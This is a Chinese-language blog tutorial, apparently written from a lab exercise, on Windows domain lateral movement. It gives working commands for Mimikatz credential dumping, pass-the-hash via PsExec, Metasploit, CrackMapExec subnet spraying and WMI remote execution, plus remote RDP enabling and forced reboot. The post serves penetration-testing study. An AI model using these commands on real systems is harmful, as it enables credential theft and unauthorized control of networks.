文章目录

  • 横向渗透
    • PTH(pass-the-hash) HASH 传递
    • 使用 mimitkaz 进行pth攻击
    • 使用 psexec 进行横向移动
    • 使用 msf hash 进行横向渗透
    • 使用 CrackMapExec 进行批量横向渗透
    • 使用 WMI命令 进行横向渗透
      • wmic 命令
      • 使用 wmiexec.py 脚本获取shell
      • 使用 wmiexec.vbs 脚本获取shell
      • wmic 的其他命令
        • 使用 wmic 远程开启目标的 RDP
        • 判断 RDP 是否开启
        • 远程重启电脑
    • Invoke-WmiCommand
    • Invoke-WMIMethod

横向渗透

本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

PTH(pass-the-hash) HASH 传递

pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

pass the hash 原理:

  • 在 Windows 系统中,通常会使用 NTLM 身份认证

  • NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)

  • hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LMhash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LM hash

  • 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用API 生成 hash 的过程)

这类攻击适用于:

  • 域/工作组环境
  • 可以获得 hash,但是条件不允许对 hash 爆破
  • 内网中存在和当前机器相同的密码

微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass TheHash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号
仍可以进行 Pass The Hash 远程 ipc 连接。如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

使用 mimitkaz 进行pth攻击

以下的实验环境为两台主机,一台为 Windows server 2008 r2, 一台为 Windows 10。

两台主机为一个域,2008为域控。

以管理员启动 mimitkaz 输入以下命令获取hash:

# 开启调试
privilege::debug
# 获取hash
sekurlsa::logonpasswords# 下面的命令可以把hash保存出来
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> passwordhash.txt

得到 hash 后进行横向渗透

# 开启调试
privilege::debug# 尝试横向渗透其他主机
sekurlsa::pth /user:MOONSEC\administrator /domain:08server-dc.moonsec.fbi /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0

使用 psexec 进行横向移动

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议

**psexec登录 第一种:**先有 ipc 链接,psexec 需要明文或 hash 传递

PsExec.exe /accepteula /s \\192.168.150.160 -u Administrator -p 123456 cmd

  • -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
  • -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显
  • -u 域\用户名
  • -p 密码

也可以使用下面的命令直接执行命令不反弹shell

PsExec.exe /accepteula /s \\192.168.150.160 -u Administrator -p 123456 cmd /c "ipconfig"

**psexec登录 第二种:**不知道明文密码,但是知道我们要登录的主机的hash,使用hash进行登录(可以用作权限维持)

PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.150.160

个人测试发现使用 PsExec.exe 进行hash传递会失败,这里建议使用 psexec的python版本进行hash传递。

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.150.160

在使用 PsExec 时需要注意以下几点:

  • 需要远程系统开启 admin$ 共享(默认是开启的)
  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。(有可能是psexec.exe 不行使用psexec.py可以)

在我们知道域管理员的在账号和密码后,我们可以登陆域管理,使用以下命令:

python3 psexec.py moonsec/Administrator@192.168.150.160
# 输入密码# 登陆其他主机管理员
psexec.exe /accepteula /s \\192.168.150.161 -u Administrator -p 123456 cmd

使用 msf hash 进行横向渗透

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.150.160
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
run

使用 CrackMapExec 进行批量横向渗透

CrackMapExec 可以对 C 段中的主机进行批量 pth

项目下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令:

crackmapexec smb 192.168.150.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4

对 192.168.150.0/24 C 段进行批量 pass the hash

使用 WMI命令 进行横向渗透

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

wmic 命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

# 执行命令并保存在C盘
wmic /node:192.168.150.160 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"

之后建立 IPC$ ,使用 type 读取执行结果

# 建立IPC$
net use \\192.168.150.160\ipc$ "123456" /user:administrator
# 读取结果
type \\192.168.150.160\c$\ip.txt

使用 wmiexec.py 脚本获取shell

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell其他攻击手法可以看下 readme.md,这里只简单的对 pth 做一下实验:

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.150.160 "whoami"

wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash这个部分00000000000000000000000000000000 可以随便填写

wmiexec.py 明文密码获取 shell

python3 wmiexec.py administrator:123456@192.168.150.160

使用 wmiexec.vbs 脚本获取shell

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:

https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.150.160 administrator 123456

使用 vmiexec.vbs 执行单条命令

cscript wmiexec.vbs /cmd 192.168.150.160 administrator 123456 "ipconfig"

wmic 的其他命令

使用 wmic 远程开启目标的 RDP

# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLEWHERE ServerName='计算机名' call SetAllowTSConnections 1或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

判断 RDP 是否开启

如果返回 0 表示开启,返回 1 表示关闭

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections

远程重启电脑

wmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"

Invoke-WmiCommand

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。

在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1# 指定目标系统用户名
$User = ".\administrator"# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.150.160# 将执行结果输出到屏幕上
$Remote.PayloadOutput

如果遇到无法导入模块以管理员身份打开PowerShell ,使用以下命令:

set-executionpolicy remotesigned

Invoke-WMIMethod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。

# 指定目标系统用户名
$User=".\administrator"# 指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.150.160" -Credential $Cred

我们可以看到在目标主机上已经运行了计算器的程序

Windows 内网渗透之横向渗透相关推荐

  1. 内网安全(四)---横向渗透:PTHPTKPTT

    域横向 PTH&PTK&PTT 哈希票据传递 1.知识: PTH(pass the hash) : 利用 lm 或 ntlm 的值. PTT(pass the ticket): 利用的 ...

  2. 红蓝对抗之Windows内网渗透

    无论是渗透测试,还是红蓝对抗,目的都是暴露风险,促进提升安全水平.企业往往在外网布置重兵把守,而内网防护相对来说千疮百孔,所以渗透高手往往通过攻击员工电脑.外网服务.职场WiFi等方式进入内网,然后发 ...

  3. 内网渗透-Windows内网渗透

    内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透 前言 一.信息收集 1.1.SPN 1.2.端口连接 1.3.配置文件 1.4.用户信息 1.6.会话收集 1.7.凭据收 ...

  4. windows内网渗透PTH/PTK攻击

    前言 windows内网渗透中,有三种最常用的pass系列攻击: pass the hash(hash传递攻击,简称pth) pass the ticket(票据传递攻击,简称ptt) pass th ...

  5. 《内网安全攻防:渗透测试实战指南》读书笔记(二):内网信息收集

    目录 前言 一.收集本机信息 1.手动搜集 (1)查询网络配置 (2)查询操作系统及软件的信息 (3)查询本机服务信息 (4)查询进程列表 (5)查看启动程序信息 (6)查看计划任务 (7)查看主机开 ...

  6. 《内网安全攻防:渗透测试实战指南》读书笔记(四):权限提升分析及防御

    目录 前言 一.系统内核溢出漏洞提权分析及防范 1.通过手动执行命令发现缺失补丁 (1)MS16-032(KB3139914) 2.利用MSF发现缺失补丁 3.Windows Exploit Sugg ...

  7. 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御

    目录 前言 一.常用Windows远程连接和命令 1.IPC (1)利用条件 (2)连接失败的原因 2.Windows自带工具 (1)dir (2)tasklist 3.计划任务 (1)at (2)s ...

  8. 《内网安全攻防:渗透测试实战指南》读书笔记(八):权限维持分析及防御

    目录 前言 一.操作系统后门 1.粘滞键后门 2.注册表注入后门 3.计划任务后门 4.meterpreter后门 5.Cymothoa后门 6.WMI后门 二.WEB后门 1.Nishang下的We ...

  9. 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础

    目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...

  10. 《内网安全攻防:渗透测试实战指南》读书笔记(七):跨域攻击分析及防御

    目录 前言 一.跨域攻击方法 二.利用域信任关系的跨域攻击 1.域信任简介 2.获取域信息 3.利用域信任秘钥(NTLM Hash)获取目标域的权限 4.利用krbtgt散列值获取目标域的权限 5.利 ...

最新文章

  1. Lexus Extroic OpenCart 2.X 自适应主题模板 ABC-0648-03
  2. 最强的Attention函数诞生啦,带给你意想不到的巨大提升!
  3. 艾泰路由器设置虚拟服务器,艾泰路由器设置步骤
  4. mysql备份还原(视图、存储过程)
  5. 【每日SQL打卡】​​​​​​​​​​​​​​​DAY 11丨产品销售分析 III【难度中等】
  6. SUPERSET使用笔记
  7. java从文件读入个人信息_Nacos 作为配置中心 读取Properties配置信息
  8. 【网易云信】即时通讯SDK DEMO
  9. 数据结构 课程设计报告 :校园导航系统
  10. 集成电路制造工艺及设备
  11. 下载的java游戏怎么运行不了_不支持JAVA的手机如何下载运行游戏和QQ
  12. 我的世界旅行者地图服务器不显示,我的世界旅行者地图怎么没有传送 | 手游网游页游攻略大全...
  13. Unity 贴花/喷漆功能的原理、Projector组件的原理与优化
  14. vue3 + uni-app 封装音乐播放插件
  15. 浩鲸科技是外包公司吗_软件外包公司开发软件可靠吗
  16. 使用Hutool工具完成发(带模板)邮件功能
  17. 自定义notepad++ --添加插件SourceCookifier
  18. 类似安卓的点9图片,气泡图片调成自己需要的
  19. 快速入门JavaScript(一)
  20. 爱盛科技于中国电子展演示穿戴式装置地磁传感器方案

热门文章

  1. ts类型适配(类型断言)Type Assertions
  2. 濮阳计算机技术学校啥时开学,2021年濮阳小学中学暑假放假时间安排,开学时间什么时候...
  3. 新博系列-3(较好的博文链接)
  4. SpaceSniffer 下载与使用——查找大文件、大文件必备
  5. 怎样用PS把照片处理成水彩画效果
  6. 水来我在水中等你,火来我在灰烬中等你
  7. 业务分析模型,该怎么搭建
  8. 网络口碑传播为什么需要SEO优化?
  9. 2020社招前端VUE面试题目
  10. 学习笔记3:字符串库函数模拟实现(上)